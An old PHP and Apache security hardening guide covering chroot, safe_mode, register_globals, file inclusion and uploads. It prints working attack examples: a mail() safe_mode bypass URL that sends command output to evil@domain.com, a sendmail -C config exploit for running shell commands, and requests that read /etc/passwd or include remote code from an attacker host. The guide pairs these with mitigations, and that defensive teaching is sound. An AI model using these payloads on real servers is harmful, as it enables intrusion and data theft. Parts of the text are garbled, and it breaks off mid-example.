Version: 0.02
1. Web server security
PHP is actually just a module function of the web server, so the security of the web server must be ensured first. Of course, in order for a web server to be secure, it must first ensure system security, which is a long way off. PHP can be combined with various web servers, and only Apache will be discussed here. It is highly recommended to install and start Apache in chroot mode. In this way, even if there are vulnerabilities in Apache, PHP and their scripts, only the restricted system will be affected and will not harm the actual system. However, using chrooted Apache will also bring certain troubles to the application. For example, when connecting to mysql, the 127.0.0.1 address must be used to connect using tcp instead of localhost for socket connection, which is slightly less efficient. There is also a problem with the mail function sending emails, because in php.ini:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
are all for Win32 platform, so sendmail needs to be adjusted in the chroot environment.
2. Problems with PHP itself
1. Remote overflow
All versions below PHP-4.1.2 have a file upload remote buffer overflow vulnerability, and the attack program has Widely circulated, the success rate is very high:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2. Remote denial of service
PHP-4.2.0 and PHP-4.2.1 have a remote vulnerability in PHP multipart/form-data POST request processing. Although local user permissions cannot be obtained, it can also cause a denial of service.
3. safe_mode bypass vulnerability
There is also a PHP mail function bypassing safe_mode restriction execution command vulnerability in PHP-4.2.2 and below to PHP-4.0.5 version, version 4.0.5 The start mail function adds a fifth parameter. Due to the designer's inconsideration, the command can be executed beyond the limits of safe_mode. The breakthrough in version 4.0.5 is very simple. Just separate it with a semicolon and add the shell command. For example, there is a PHP script evil.php:
mail("foo@bar,"foo ","bar","",$bar); ?>
Execute the following URL:
http://foo.com/evil.php?bar=;/usr /bin/id|mail evil@domain.com
This sends the result of id execution to evil@domain.com
For PHP 4.0.6 to 4.2.2 to break the safe_mode limit. In fact, the -C parameter of sendmail is used, so the system must use sendmail. The following code can break through the safe_mode restriction and execute the command:
# Note that the following two must not exist. , or their owners are the same as the owners of this script
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody ", "", "", "", "-C$cf");
?>
Users who still use the above problematic version of PHP must upgrade to the latest version in time so that they can Eliminate basic security issues
3. Security configuration of PHP itself
PHP configuration is very flexible and can be configured through php.ini, httpd.conf, .htaccess files (this directory must be set) AllowOverride All or Options), you can also use ini_set() and other specific functions in the script. The values of the configuration options can be obtained through the phpinfo() and get_cfg_var() functions. If the configuration option is the only PHP_INI_SYSTEM attribute, it must be modified through php.ini and httpd.conf. They modify the PHP Master value, but after the modification, apache must be restarted to take effect. The options set in php.ini are effective for all scripts in the web server, and the options set in httpd.conf are effective for all scripts in the defined directory.
If there are other PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL attribute options, you can use the .htaccess file to set them, or you can use the ini_set() function in the script itself to set them. They modify the Local value. Change It will take effect immediately. However, .htaccess only takes effect for the script program in the current directory, and the ini_set() function only takes effect for the code after setting the ini_set() function for the script program. The option attributes of each version may be different. You can use the following command to find the main.c file of the current source code to get all the options and its attributes:
# grep PHP_INI_ /PHP_SRC/main/main.c
Before discussing PHP security configuration, you should have a good understanding of PHP's safe_mode mode.
1. safe_mode
safe_mode is the only PHP_INI_SYSTEM attribute and must be set through php.ini or httpd.conf. To enable safe_mode, just modify php.ini:
safe_mode = On
or modify httpd.conf to define the directory:
Options FollowSymLinks
php_admin_value safe_mode 1
Safe_mode will take effect after restarting apache. Enabling safe_mode will restrict many PHP functions, especially system-related file opening, command execution and other functions.
All functions that operate files will only operate files with the same UID as the script. For example, the content of the test.php script is:
The properties of several files are as follows:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr -x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www- data www-data 41 Jul 19 19:14 test.php
Requesting test.php in the browser will prompt the following error message:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
If the directory where the operated file is located The UID is the same as the script UID, so even if the UID of the file is different from the script, it can still be accessed. I don’t know if this is a vulnerability in PHP or if there is another hidden reason. Therefore, it is best for the user who is the owner of the php script to only use it for this purpose. It is absolutely forbidden to use root as the owner of the php script. This will not achieve the effect of safe_mode.
If you want to relax it to GID comparison, you can consider only comparing the GID of the file by turning on safe_mode_gid. You can set the following options:
safe_mode_gid = On
After setting safe_mode , all command execution functions will be restricted to execute programs in the directory specified by safe_mode_exec_dir in php.ini, and shell_exec and `ls -l` will be prohibited from executing commands. If you really need to call other programs, you can make the following settings in php.ini:
safe_mode_exec_dir = /usr/local/php/exec
Then copy the program to this directory, then the php script can Use system and other functions to execute the program. Moreover, shell scripts in this directory can still call system commands in other directories.
safe_mode_include_dir string
Bypass UID/GID checks when including files from this directory and its subdirectories (directories must be in include_path or included with full paths).
Starting with PHP 4.2.0, this directive can accept semicolon-delimited paths in a similar style to the include_path directive, instead of just a directory.
The limit specified by
is actually a prefix, not a directory name. This means that "safe_mode_include_dir = /dir/incl" will allow access to "/dir/include" and "/dir/incls" if they exist. If you wish to restrict access to a specific directory, add a trailing slash, for example: "safe_mode_include_dir = /dir/incl/".
safe_mode_allowed_env_vars string
Setting certain environment variables may be a potential security breach. This directive contains a comma separated list of prefixes. In safe mode, users can only change environment variables whose names have the prefix provided here. By default, users can only set environment variables starting with PHP_ (e.g. PHP_FOO = BAR).
Note: If this directive is empty, PHP will allow the user to modify any environment variable!
safe_mode_protected_env_vars string
This directive contains a comma-separated list of environment variables that end users cannot change using putenv(). These variables cannot be changed even when allowed modifications are set in safe_mode_allowed_env_vars.
Although safe_mode is not a panacea (lower versions of PHP can bypass it), it is still strongly recommended to turn on safe mode, which can avoid some unknown attacks to a certain extent. However, enabling safe_mode will have many restrictions, which may affect the application, so the code and configuration need to be adjusted to achieve harmony. For functions restricted or blocked by safe mode, please refer to the PHP manual.
After discussing safe_mode, let’s discuss how to avoid vulnerabilities through configuring the PHP server based on actual problems that may arise in the program code.
2. Variable abuse
PHP defaults to register_globals = On. Variables for GET, POST, Cookie, Environment, and Session can be directly registered as global variables. Their registration order is variables_order = "EGPCS" (can be modified through php.ini). The right side of variables_order with the same name covers the left side, so the abuse of variables can easily cause program confusion. Moreover, script programmers often do not have the habit of initializing variables. Program snippets like the following are extremely vulnerable to attacks:
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
An attacker can bypass the check simply by making the following request:
http://victim/test_1.php?auth=1
This is true though It is a very weak mistake, but some famous programs have also made this mistake, such as phpnuke's remote file copy vulnerability: http://www.securityfocus.com/bid/3361
PHP-4.1. When 0 was released, it was recommended to turn off register_globals and provide 7 special array variables to use various variables. Variables from GET, POST, COOKIE, etc. are not directly registered as variables and must be accessed through array variables. When PHP-4.2.0 was released, the default configuration of php.ini was register_globals = Off. This allows the program to use the default value initialized by PHP itself, which is usually 0, preventing attackers from controlling the judgment variables.
Solution:
The configuration file php.ini sets register_globals = Off.
Requires the programmer to initialize a value for the judgment variable at the beginning of the program.
3. File opening
Extremely vulnerable code snippet:
//test_2.php
if (! ($str = readfile("$filename"))) {
echo("Could not open file: $filename
n");
exit;
}
else {
echo $str;
}
?>
Since the attacker can specify any $filename, the attacker can see /etc/passwd with the following request:
http://victim/test_2.php?filename=/etc/passwd
The following request can read the php file itself:
http://victim/test_2.php?filename= test_2.php
The file opening functions in PHP include fopen(), file(), etc. If the file name variable is not checked strictly, important files on the server will be accessed and read.
Solution:
Unless otherwise necessary, limit PHP file operations to the web directory. The following is an example of modifying the apache configuration file httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs
Directory>
After restarting apache, the PHP script in the /usr/local/apache/htdocs directory can only operate files in its own directory, otherwise PHP will report an error:
Warning : open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
Using safe_mode mode can also avoid this problem, which has been discussed earlier.
4. Include files
Extremely vulnerable code snippets:
//test_3.php
if(file_exists ($filename))
include("$filename");
?>
This kind of irresponsible code will cause considerable harm. An attacker can obtain/ etc/passwd file:
http://victim/test_3.php?filename=/etc/passwd
If for Unix version of PHP (Win version of PHP does not support remote opening of files) The attacker can create a file containing shell commands on the machine where the http or ftp service is enabled. For example, the content of http://attack/attack.txt is , Then the following request can execute the command ls /etc on the target host:
http://victim/test_3.php?filename=http://attack/attack.txt
attacker You can even get the code to execute the command by including apache's log files access.log and error.log. However, due to too much interference information, sometimes it is not easy to succeed.
For another form, the following code snippet:
//test_4.php
include("$lib/config.php");
?>
The attacker can create a config.php file containing the command execution code on his own host, and then use the following request to execute the command on the target host:
http:/ /victim/test_4.php?lib=http://attack
PHP’s include functions include include(), include_once(), require(), require_once. If the variable containing the file name is not checked strictly, it will cause serious danger to the system, and the command can be executed remotely.
Solution:
Require programmers to try not to use variables when including parameters in files. If variables are used, the file names to be included must be strictly checked and must not be specified arbitrarily by the user.
As mentioned above, restricting the PHP operation path when opening the file is a necessary option. In addition, unless otherwise necessary, be sure to turn off PHP's remote file opening function. Modify the php.ini file:
allow_url_fopen = Off
Restart apache.
5. File upload
php's file upload mechanism is to save the files uploaded by users in the temporary directory defined by upload_tmp_dir in php.ini (the default is the system's temporary directory, such as: /tmp ) in a random temporary file similar to phpxXuoXG. When the program execution ends, the temporary file is also deleted. PHP defines four variables for uploaded files: (For example, the form variable name is file, and register_globals is turned on)
$file #It is a temporary file saved to the server (such as /tmp/phpxXuoXG)
$ file_size #The size of the uploaded file
$file_name #The original name of the uploaded file
$file_type #The type of uploaded file
Recommended use:
$HTTP_POST_FILES['file'][ 'tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
This is the simplest file upload code:
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "File".$file_name." uploaded successfully! Click Continue uploading";
exit;
}
?>
< ;title>File upload
< ;body bgcolor="#FFFFFF">